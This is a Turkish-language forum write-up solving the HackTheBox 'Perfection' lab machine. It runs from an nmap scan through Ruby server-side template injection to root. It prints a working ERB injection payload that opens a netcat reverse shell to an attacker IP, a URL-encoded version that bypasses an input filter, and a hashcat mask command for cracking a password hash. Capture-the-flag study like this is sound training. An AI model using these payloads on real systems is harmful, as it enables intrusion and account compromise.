HackTheBox :: Perfection
Merhaba, bu konumda HackTheBox platformunda bulunan "Perfection" isimli makinenin çözümünü göstereceğim. Bu makine linux tabanlı kolay seviye bir makinedir. Makinede çalışan servisleri öğrenmek adına nmap ile bir port taraması yaparak başlıyorum.
CoffeeScript:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-13 12:33 +03
Nmap scan report for 10.10.11.253
Host is up (0.12s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 80:e4:79:e8:59:28:df:95:2d:ad:57:4a:46:04:ea:70 (ECDSA)
|_ 256 e9:ea:0c:1d:86:13:ed:95:a9:d0:0b:c8:22:e4:cf:e9 (ED25519)
80/tcp open http nginx
|_http-title: Weighted Grade Calculator
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.57 seconds
Tarama sonucunda 22 (OpenSSH) ve 80 (Nginx) numaralı portların açık olduğunu ve HTTP başlığının neticesinde hedefin not hesaplayan bir uygulama olduğunu öğreniyoruz. Not hesaplayan bir uygulamanın hangi açığı barındırdığını düşünürdünüz? RGX olabilir.
Uygulamayı Tina Smith adında ki bilgisayar bilimleri öğrencisi aşk ve tutkuyla geliştirmiş. Kendisi web geliştirme üzerine çok düşmüş, çok başarılıymış ancak güvenli uygulama geliştirme üzerine hiç kafa yormamış. Ekibin diğer bir üyesi olan Susan Miller ise bilgisayar bilimleri profesörüymüş. Tina'nın tutkuyla yaptığı bu işe sponsor olmuş.
Evet şimdi gelelim şeytanın zart diye osurduğu konuya. Gördüğünüz şey sınıfta kategorilere göre puanlar ve yüzde ağırlıklarına dayalı olarak toplam notu hesaplayan bir uygulamadır. Biraz önce sorduğum soruyu tekrar sormadan önce size örnek bir çıktısını göstermek istiyorum.
Sonuçlar bu şekilde gösteriliyor. Kategori isimlerine meyve isimleri girdiğimde "Malicious input blocked" şeklinde bir çıktı verdi
Artık nasıl bir çıktı gösterdiğini ve ne iş yaptığını biliyorsunuz. Sizce hangi zafiyeti barındırıyor? Sana diyorum evladım, evet sen. Kalk ayağa çabuk söyle. Evvet haklısın SSTI zafiyeti bulunuyor. Fark ettiyseniz döndürdüğü header bilgilerinde iki adet server parametresi var. Biri Nginx diğeri ise WEBrick. WEBrick minik HTTP servisleri oluşturmanızı sağlayan bir ruby çatısıdır. Düşününce buradan bunu çıkarmak pek mantıklı gelmedi ama benim aklıma ilk o geldi. Command injection zafiyetide olabilir. Denemeden bilemeyeceğiz.
İlk önce SSTI zafiyetinden yola çıkacağız aşağıdaki linklerden ne olduğu ile ilgili bilgiler edinebilirsiniz. Ben okumadan öğrenmeye niyetliyim.
SSTI Nedir? Bilgilendirme
Sunucu Taraflı Şablon Enjeksiyonu (Server-side template injection)
Tryhackme | VulnNet:dotpy CTF WriteUp
https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection
Bu arada forumda SSTI ile alakalı çok az kaynak var, birilerinin buna müdahale etmesi lazım. Evet senden bahsediyorum. Şimdi yapmamız gereken şey ruby'e özgü payloadları test etmek ve verdiği tepkiye göre aksiyon almak. Bunun için son verdiğim linke bakabilir veya okumaya devam edebilirsiniz.
Bir süre debelendikten sonra okumaya karar verdim
https://blog.devops.dev/ssti-bypass-filter-0-9a-z-i-08a5b3b98def
Buradaki kişi bir alt satıra inip url kodlaması yaparak bypass etmiş hemen deneyelim.
Pekala artık güvenliğe yakalanmıyoruz
Artık bizden iyisi yok
<%= system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.13.12 6666 >/tmp/f") %>
%0A%3C%25%3D%20system%28%22rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20%2Di%202%3E%261%7Cnc%2010%2E10%2E13%2E12%206666%20%3E%2Ftmp%2Ff%22%29%20%25%3E
Makineye bağlandığımıza göre bayrakları toplamaya başlayabiliriz. Bir alt dizinde yani /home/susan dizininde ilk bayrağımız olan user.txt dosyası bulunuyor. Böylece ilk bayrağı elde ediyoruz. Diğer bayrağı alabilmek için ise yetki yükseltmemiz gerekiyor. Bulunduğumuz dizindeki bir üst dizin olan Migration dizininde pupilpath_credentials.db adında bir dosya var. İçerisinde susan ablamızın şifresinin hashlenmiş hali bulunuyor.
SHA-256 ile hashlenmiş bu veriyi kırmaya çalışırsanız, çok büyük hüsrana uğrarsınız. Kırılacak gibi değil. Daha fazla bilgi toplamak için linpeas.sh dosyasını makineye yükledim. Ah bu linpeas olamasa ne yapacağız böyle. Linpeas işini yaptıktan sonra sonuçları incelemeye koyuldum ve birde ne göreyim, susan'nın mailleri var.
Bu mail işini pek anladığımı söyleyemem. Yani 10 tane mailin varsa bunlar susan1 susan2... olarak mı gözükecek. Bilen biri beni aydınlatırsa sevinirim.
Görünüşe göre sistemde ki bilgiler daha önce sızdırıldığı için Tina daha zor bir şifre formatı oluşturmak istemiş. Biraz önce bulduğumuz hash'i hashcat aracılığıyla, bu formatı kullanarak kırmaya çalışalım.
hashcat hash -m 1400 -a 3 susan_nasus_?d?d?d?d?d?d?d?d?d
Kırdıktan sonra elde ettiğimiz şifre ile root kullanıcısına yükselip bayrağı alıyoruz.
Son düzenleme:
